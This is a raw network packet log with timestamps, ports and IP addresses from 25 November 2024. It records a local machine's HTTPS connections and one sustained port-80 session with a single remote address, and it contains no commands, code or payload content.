Nov 25, 2024 05:46:45.574346066 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.574371099 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.574384928 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.574392080 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.575453043 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.575512886 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.575607061 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.575965881 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.575965881 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.575989008 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.576004982 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.577929020 CET	49878	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.577981949 CET	443	49878	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.578032017 CET	49878	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.578481913 CET	49878	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.578500032 CET	443	49878	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.579549074 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.579586029 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.579716921 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.579839945 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.579853058 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.580202103 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.580266953 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.580373049 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.580406904 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.580406904 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.580425024 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.580435991 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.581150055 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.581223965 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.581335068 CET	443	49844	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.581388950 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.581389904 CET	443	49844	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.581434965 CET	49844	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.581906080 CET	443	49875	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.582214117 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.582227945 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.582237959 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.582242012 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.582309961 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.582336903 CET	443	49875	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.583224058 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.583261013 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.583334923 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.583542109 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.583553076 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.583955050 CET	49844	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.583961964 CET	443	49844	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.583976984 CET	49844	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.583986044 CET	443	49844	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.584090948 CET	443	49875	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.584146023 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.584568977 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.584708929 CET	443	49875	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.584717035 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.590962887 CET	49881	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.591013908 CET	443	49881	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.591165066 CET	49881	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.593337059 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.593372107 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.593421936 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.594214916 CET	49881	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.594245911 CET	443	49881	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.594320059 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.594332933 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.613050938 CET	443	49876	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.613384008 CET	49876	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.613411903 CET	443	49876	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.614465952 CET	443	49876	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.614518881 CET	49876	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.614996910 CET	49876	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.615084887 CET	443	49876	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.615350008 CET	49876	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.615359068 CET	443	49876	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.631355047 CET	443	49875	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.631484985 CET	49883	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.631522894 CET	443	49883	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.631582975 CET	49883	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.631835938 CET	49883	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.631850958 CET	443	49883	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.635731936 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.635767937 CET	443	49875	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.645232916 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.645282030 CET	443	49866	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.645303965 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.645347118 CET	443	49866	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.645378113 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.645410061 CET	49866	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.645535946 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.645554066 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.646270037 CET	49866	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.646301985 CET	443	49866	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.654877901 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.654927015 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.654952049 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.654989004 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.657151937 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.657172918 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.657202005 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.657226086 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.661962986 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.662081003 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.663475037 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.663589954 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.663770914 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.664134026 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.664530993 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.664541960 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.665595055 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.665657043 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.666305065 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.666498899 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.666507959 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.668262959 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.668370008 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.668421984 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.668454885 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.673058987 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.673129082 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.673161030 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.673268080 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.677365065 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.677843094 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.677900076 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.677930117 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.677978992 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.682620049 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.682699919 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.682723999 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.682784081 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.687382936 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.687489033 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.687529087 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.687580109 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.692121983 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.692245007 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.692262888 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.692403078 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.696945906 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.697035074 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.697092056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.697150946 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.701668978 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.701754093 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.701786041 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.701873064 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.706460953 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.706535101 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.706559896 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.706665993 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.707339048 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.711244106 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.711304903 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.711333036 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.711347103 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.716006041 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.716073990 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.716108084 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.716209888 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.720793009 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.720844984 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.720905066 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.720972061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.725569963 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.725672960 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.725729942 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.730315924 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.730376005 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.730509996 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.730575085 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.735146046 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.735245943 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.735266924 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.735373020 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.739900112 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.740005016 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.740102053 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.744668961 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.744770050 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.744788885 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.744847059 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.749486923 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.749593019 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.749649048 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.754231930 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.754322052 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.754344940 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.754448891 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.755763054 CET	49876	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.755775928 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.759001970 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.759077072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.765887976 CET	443	49872	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.765990019 CET	443	49872	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.766037941 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.766252041 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.766273975 CET	443	49872	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.788475990 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.788510084 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.805113077 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.805238962 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.805299997 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.821419954 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.821563959 CET	443	49875	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.821631908 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.825964928 CET	443	49858	18.165.220.57	192.168.2.6
Nov 25, 2024 05:46:45.826024055 CET	49858	443	192.168.2.6	18.165.220.57
Nov 25, 2024 05:46:45.855818987 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.855871916 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.855895042 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.855963945 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.857743025 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.857812881 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.857898951 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.858165026 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.861527920 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.861628056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.861666918 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.861666918 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.865324974 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.865374088 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.865423918 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.865423918 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.869129896 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.869188070 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.869230032 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.869307995 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.872781992 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.872860909 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.872978926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.876374006 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.876475096 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.876554012 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.879956961 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.880063057 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.880070925 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.880207062 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.883471012 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.883527994 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.883539915 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.883584023 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.886888027 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.887015104 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.887075901 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.887075901 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.890288115 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.890374899 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.890376091 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.890491009 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.893680096 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.893779039 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.893783092 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.894035101 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.897113085 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.897222042 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.897232056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.897269011 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.900492907 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.900616884 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.900690079 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.903912067 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.903970957 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.903980017 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.904113054 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.907326937 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.907372952 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.907406092 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.907521963 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.910687923 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.910805941 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.910908937 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.914099932 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.914195061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.914218903 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.914374113 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.917519093 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.917608976 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.917639971 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.917886019 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.920921087 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.920970917 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.921006918 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.921142101 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.924355984 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.924443007 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.924452066 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.924793005 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.927731991 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.927833080 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.927906990 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.931138992 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.931262970 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.931271076 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.931310892 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.934561968 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.934638023 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.934669018 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.934732914 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.937938929 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.938040018 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.938046932 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.938230038 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.941385984 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.941399097 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.941457033 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.941457033 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.944785118 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.944892883 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.944916964 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.944936037 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.948189974 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.948255062 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.948333979 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.948461056 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.951644897 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.951658964 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.951725006 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.955044031 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.955115080 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.955121994 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.955174923 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.958440065 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.958512068 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.958532095 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.958559036 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.961855888 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.961920023 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.961944103 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.961996078 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.965233088 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.965291023 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.965322018 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.965358973 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.047642946 CET	443	49876	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:46.047713041 CET	443	49876	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:46.047804117 CET	49876	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:46.047966957 CET	49876	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:46.047987938 CET	443	49876	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:46.057029009 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.057161093 CET	80	49829	185.215.113.206	192.168.2.6
